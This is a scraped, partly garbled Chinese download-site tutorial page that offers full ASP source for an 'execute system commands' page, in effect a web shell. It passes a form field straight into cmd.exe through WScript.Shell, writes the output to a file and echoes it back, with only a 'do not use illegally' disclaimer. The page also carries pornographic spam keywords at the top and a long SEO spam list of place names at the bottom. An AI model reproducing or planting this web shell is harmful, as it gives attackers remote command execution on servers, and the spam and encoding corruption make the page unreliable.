人人做人人澡人人爽欧美,国产主播一区二区,久久久精品五月天,羞羞视频在线观看免费

當(dāng)前位置:蘿卜系統(tǒng)下載站 > 技術(shù)開(kāi)發(fā)教程 > 詳細(xì)頁(yè)面

可以執(zhí)行系統(tǒng)命令的ASP原碼放送

可以執(zhí)行系統(tǒng)命令的ASP原碼放送

更新時(shí)間:2022-07-06 文章作者:未知 信息來(lái)源:網(wǎng)絡(luò) 閱讀次數(shù):

注意的是,程序運(yùn)行必須有FileSystemObject支持。以下是遠(yuǎn)程執(zhí)行命令的原代碼。
  copy下來(lái)另存為execute.asp.

 。糷tml>

 。糷ead>
  <meta http-equiv="Content-Language" content="zh-cn">
  <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  <meta name="GENERATOR" content="Microsoft FrontPage 4.0">
 。糾eta name="ProgId" content="FrontPage.Editor.Document">
 。紅itle>執(zhí)行命令</title>
 。約tyle>
  <!--
  table,body{ font-family: 宋體; font-size: 9pt }
  a{ font-family: 宋體; font-size: 9pt; color: rgb(0,32,64);

  text-decoration: none }
  a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: none

  }
  a:visited{ color: rgb(128,0,0) }
  -->
  </style>

 。/head>

  <body bgcolor="#000000" text="#C0C0C0">

  <form method="POST" action="execute.asp">
 。紁 align="left">輸入要執(zhí)行的命令:<input type="text" name="ml"

  size="20" value="dir c:\" style="background-color: #C0C0C0; color:

  #000000; border-style: solid; border-width: 1">
 。糹nput type="submit" value="執(zhí)行" name="B1" style="background-color:

  #C0C0C0; color: #000000; border: 1 groove #C0C0C0"></p>
  </form>
  <%
  ml=request.form("ml")
  cmd="c:\winnt\system32\cmd.exe /c "&ml&" >c:\whoamI.txt" '修改

  whoamI.txt路徑到一個(gè)有寫(xiě)權(quán)限的目錄
  Set WShShell = Server.CreateObject("WScript.Shell")
  RetCode = WShShell.Run(cmd, 1, True)
  if RetCode = 0 Then
  Response.write ml & " "
  Response.write " 命令成功執(zhí)行!"&"<br><br>"
  else
  Response.write " 命令執(zhí)行失敗!權(quán)限不夠或者該程序無(wú)法在DOS狀態(tài)下運(yùn)行

  !"&"<br><br>"

  end if
  'response.write cmd

  function htmlencode(str)
  dim result
  dim l
  if isNULL(str) then
  htmlencode=""
  exit function
  end if
  l=len(str)
  result=""
  dim i
  for i = 1 to l
  select case mid(str,i,1)
  case "<"
  result=result+"<"
  case ">"
  result=result+">"
  case chr(34)
  result=result+"""
  case "&"
  result=result+"&"
  case else
  result=result+mid(str,i,1)
  end select
  next
  htmlencode=result
  end function
  Set fs =CreateObject("Scripting.FileSystemObject")
  Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '讀文件,別忘

  了修改路徑.
  counter=0
  do while not thisfile.atendofstream
  counter=counter+1
  thisline=htmlencode(thisfile.readline)
  response.write thisline&"<br>"
  loop
  thisfile.Close
  set fs=nothing
  %>

 。/body>

 。/html>

  請(qǐng)勿將此程序用于非法途徑,由此引起的一切后果由使用者承擔(dān)。

溫馨提示:喜歡本站的話(huà),請(qǐng)收藏一下本站!

本類(lèi)教程下載

系統(tǒng)下載排行

網(wǎng)站地圖xml | 網(wǎng)站地圖html
主站蜘蛛池模板: 铁岭市| 武陟县| 铜陵市| 浦东新区| 阿拉善左旗| 太湖县| 汕头市| 红安县| 虎林市| 姜堰市| 皮山县| 精河县| 万年县| 阜平县| 浦城县| 特克斯县| 佛冈县| 仪陇县| 繁峙县| 祁门县| 济阳县| 孝昌县| 孟津县| 老河口市| 大英县| 宽城| 通道| 黔江区| 鄱阳县| 赣榆县| 古田县| 西藏| 新兴县| 当涂县| 威信县| 仪陇县| 新河县| 栾川县| 中西区| 桂林市| 博湖县|